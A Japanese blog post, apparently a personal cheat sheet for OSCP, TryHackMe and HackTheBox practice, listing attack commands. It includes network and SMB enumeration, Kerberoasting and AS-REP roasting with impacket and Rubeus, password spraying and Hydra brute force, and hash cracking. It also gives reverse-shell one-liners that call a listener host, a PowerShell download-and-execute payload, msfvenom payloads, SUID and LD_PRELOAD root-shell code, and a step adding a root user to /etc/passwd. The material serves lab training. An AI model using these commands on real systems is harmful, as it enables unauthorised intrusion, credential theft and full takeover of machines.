【チートシート】OSCPとかHackTheBOX用

CTF
この記事は約16分で読めます。

OSCPの勉強、TryHackMeやHackTheBox用のチートシート。
チートシート用アプリで作っていたけれど、なんだか使いにくかったのでWordPressでやることに。

WordPressでやるとどこからでも見れるしいいよね。(ノート系アプリでもいいんだけど)

Enum

Nmap

通常スキャン

$nmap -sV -A -Pn -T4 10.10.10.1
$nmap -sV -A -T4 10.10.10.1

ネットワークスキャン

$nmap -sn 10.10.10.1-254
$nmap -sn 10.10.10.0/24

脆弱性スキャン

$nmap -sV --script vuln 10.10.10.1

オプション

-p  対象ポート設定
-Pn  PINGしない
-f  Fragment Packetを使用
--scan-delay 10   スキャンごとに引数msの間隔
-vv  経過表示
--badsum  無効なチェックサム仕様(FWやIPSに邪魔されるとき用)
-A  OS、バージョン、スクリプトスキャン、トレースルートする
-T4 高速スキャン
-sV サービスとバージョン列挙

Nmap Script Engine

$nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' 10.10.10.1
$nmap --script=mysql-enum 10.10.10.1
$nmap --script-help <script-name>

Nmap用のscriptDBのパス

/usr/share/nmap/scripts/script.db

Script説明サイト(公式)へのリンク
Scriptの使い方へのリンク

MYSQL

Nmap

$nmap --script=mysql-enum 10.10.10.1

SMB

Nmap

$nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.1

smbmap

Anonymous Login

Enum4Linux

$enum4linux [options] 10.10.10.1
-U ユーザーリスト取得
-M マシーンリスト取得 
-N ネームリスト取得(-U,-Mとは違う)
-S Shareリスト取得  
-P パスワードポリシー取得  
-G グループとメンバーリスト取得 
-A 全部込み

smbclient

接続

$smbclient //10.10.10.1/sharename -U username -p portNumber
$smbclient -U "username" \\\\AdDmain.locl\\sharename

ユーザ名からshareを列挙

$smbclient -U "svc-admin" -L target.local

NFS

Nmap

$nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.10.1

NFS mount

$sudo mount -t nfs 10.10.10.1:Anonymous /tmp/mount/ -nolock
-t nfs   NFSタイプのデバイスを指定
-nolock  NLM Lockingをしない
$showmount -e 10.10.10.1

設定ファイル
no_root_squashはsuidOK

$cat /etc/exports

SMTP

$smtp-user-enum -U /usr/share/wordlists/rockyou.txt -t 10.10.10.1

Active Directory

SPNを出力

>setspn -T medin -Q */*

Kerbrute

$./kerbrute_linux_amd64_ver1.01 userenum -d domaincontrol.local --dc domaincontrol.local /usr/share/wordlists/rockyou.txt

impacket(GetNPUsers)
ASREPRoastingngのため、パスワードなしで認証できそうなユーザを検索

$python3-impacket/examples/GetNPUsers.py target.local/username -no-pass

impacket(secretsdump.py)

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py username:password@10.10.10.1

impacket(GetUserSPNs.py)

Kerberoastingのため、ユーザー名に対応したパスワードのハッシュを取得。

$sudo python3 GetUserSPNs.py domain.local/username:password -dc-ip 10.10.10.1 -request

Bloodhount

Neo4j

Rubeus(サーバ上で稼働)
KDCに転送されているチケットを表示

Rubeus.exe harvest /interval:30

Rubeus
ユーザ名やパスワードにスプレー攻撃。ドメイン内で見つかった全ユーザに対して実行
実施前にhostsファイルにドメイン情報入力必須

$echo 10.10.10.1 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
$Rubeus.exe brute /password:Password1 /noticket

Rubeus
AS-REP roastをしかけて、ユーザパスのハッシュを出力
時々ハッシュの冠文字の一部($23など)が消えてるので手入力の必要あり

Rubeus.exe asreproast

hashdumpする

$Rubeus.exe kerberoast

Webサーバ

Gobuster

$gobuster dir -u http://10.10.10.1:3333 -w /usr/share/wordlists/rockyou.txt
-e  完全なURLをコンソール上で入力するとき用
-u  検査するURL
-w
  ワードリストのパス
-U and -P
  Basic認証用ユーザ名、パスワード
-p   プロキシのポート

-c   認証に使うCookie

(再帰的探索ができるので、DirBusterのほうがいい)

Search Vulnerability

CVE

searchsploit

$searchsploit <servicename> <version>

Linux(Local)

基本

$hostname
$uname -a
$cat /proc/version
$cat /etc/issue
$ps aux
$env
$sudo -l   //LD_PRELOADがあるか注意
$id
$cat /etc/passwd
$history
$ifconfig or ip addr
$ip route
$netstat -a,-at,-au,-l,-tp,-ano,-ltp
$find / -perm a=x 2>/dev/null
$getcap -r / 2>/dev/null
$cat /etc/crontab
$find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

SUIDのファイル一覧表示

$find / -perm -u=s -type f 2>/dev/null

sudoで起動できるパス

$sudo -l

LinPeas

$curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh

LinEnum

LES(Linux Exploit Suggester)

Linux Smart Enumeration

Linux Priv Checker

Windows(Local)

基本

>whoami /priv
>net users
>net user username, net user Administator
>qwinsta(query session)
>net localgroup
>net localgroup <groupname>  e.g net localgroup Administrators
>systeminfo
>systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
>hostname
>findstr /si password *.txt
>wmic qfe get Caption,Description,HotFixID,InstalledOn
>wmic product get name,version,vendor
>wmic service list brief
>wmic service list brief | findstr "Running"
>wmic service get name,displayname,pathname,startmode
>sc qc <servicename>
>netstat -ano
>schtasks
>schtasks _query /fo LIST /v
>driverquery
>sc query windefend
>sc queryex type=service
>setspn -T medin -Q */*   //SPNを一覧表示(Kerberoast用)

WinPEAS

>winpeas.ext

PowerUp

>powershell.exe -nop -exec bypass
>Import-Module .\PowerUp.ps1
>Invoke-AllChecks

Windows Exploit Suggester

>windows-exploit-suggester.py --database 2021-09-21-mssb.xls --systeminfo sysinfo_output.txt

フォルダのアクセス権確認

>.\accesschk64.exe /accepteula -uwdq "C:\Program Files\" 'ディレクトリ名は例

Hash

john

$sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

unshadow
/etc/passwd と /etc/shadow からパスワードを出力

$unshadow passwd.txt shadow.txt > unshadowed.txt

hashcat(辞書使用)

$hashcat -m 18200 -a 0 unshadowed.txt passwordlist.txt --force
-m ハッシュタイプを指定(リンク)
-a アタックモード(0:辞書)

–force エラー無視

Exploit

Reverse Shell

bash

$/bin/bash -i >& /dev/tcp/10.10.10.1/4444 0>&1

NishangのPowershell Reverse Shell
webサーバ8000ポートでバイナリを配信し、ncで4444受付

>powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.10.1:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.1 -Port 4444

Netcat(listen)

$nc -nlvp 4444

Netcat(Reverse Shell)

$nc -e /bin/bash
$rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <RhostIP> <RhostPort> >/tmp/f

PHP

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Linux(Local)

SUID実行

exploit.c
int main()
{ setuid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}
$gcc exploit.c -o exploit.elf -w ( -masm=intel)

Brute Force

Hydra

$hydra -l username -P /usr/share/wordlists/rockyou.txt ftp://MACHINE_IP
$hydra -l username -P /usr/share/wordlists/rockyou.txt 10.10.10.1 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V
$hydra -l username -P /usr/share/wordlists/rockyou.txt 10.10.10.1 ssh
$hydra -t 4 -l username -P /usr/share/wordlists/rockyou.txt -V 10.10.10.1 ftp

Windows

Windowsへのリモート接続

$evil-winrm -i 10.10.10.1 -u username -H 0e0363213e37b94221497260b0bcb4fc(hashPass)

Linux

sudo -lでenv_keep+=LD_PRELOADが見えた時

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

/etc/passwdへのユーザー追加

$openssl -\passwd -1 -salt THM password1
$1$THM$xxxxxxxxxxxxxxxxxxxxxxx
※ この後、/etc/passwdに"hacker:$1$THM$xxxxxxxxxxxxxxxxxxxxxxx:0:0:root:/root:/bin/bash"を追加

msfvenom

Windows用リバースシェル

$msfvenom -p windows/shell_reverse_tcp LHOST=10.9.3.100 LPORT=8888 -e x86/shikata_ga_nai -f exe -o Advanced.exe

meterpreter用リバースシェル

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o reverseshell.exe

Metasploit

起動

$msfdb init
$msfconsole

msfconsole オプション

-h  
show help
-use
set module and start interactively
-info
displays information about one or more modules
-set
set the variables
-setg
set the global variables
-get
show the value of variables
-unset
unset the value of variables
-unsetg
unset the global value of variables
-save 
save to settingfile that previously set values

PortScan

$db_nmap -sV 10.10.10.1
$hosts
$services
$vulns

モジュールセット

$serch keyword(etc. php, apache, smtp, multi/handler )
$use <module path>
$show options

$info
$set <arg> <value>
$run(exploit)

payloadセット

$show payloads 'モジュールセット後
$set payload windows/x64/shell/reverse_tcp

シェル確立後にmeterpreterに変更

(シェルからmsfに戻り)
$use post/multi/manage/shell_to_meterpreter

meterpreter

$hashdump
$download "C:\..." /home/username/
$upload /home/username/...
$load powershell  
$powershell_shell(上の続き)
$

リバースシェル確立後

$run post/windows/gather/checkvm
$run post/multi/recon/local_exploit_suggester
$run post/windows/manage/enable_rdp
$run autoroute -h

incognito(アクセストークンの脆弱性を攻撃)

$use incognito
$load incognito
$list_tokens -g
$impersonate_token "BUILTIN\Administrators"

小技

コンパイル

Cソース

$gcc poc.c -o exploit.elf -masm=intel

Powershell

Powershellでダウンロード

>powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/sample.exe','sample.exe')"

Python 小技

簡易Webサーバ

$python3 -m http.server

インタラクティブなシェル

$Python3 -c "import pty; pty.spawn('/bin/bash')"

WordLists

/usr/share/wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/dirb

/usr/share/seclists(sudo apt install seclists)

Kaliサイコー!!

コメント

タイトルとURLをコピーしました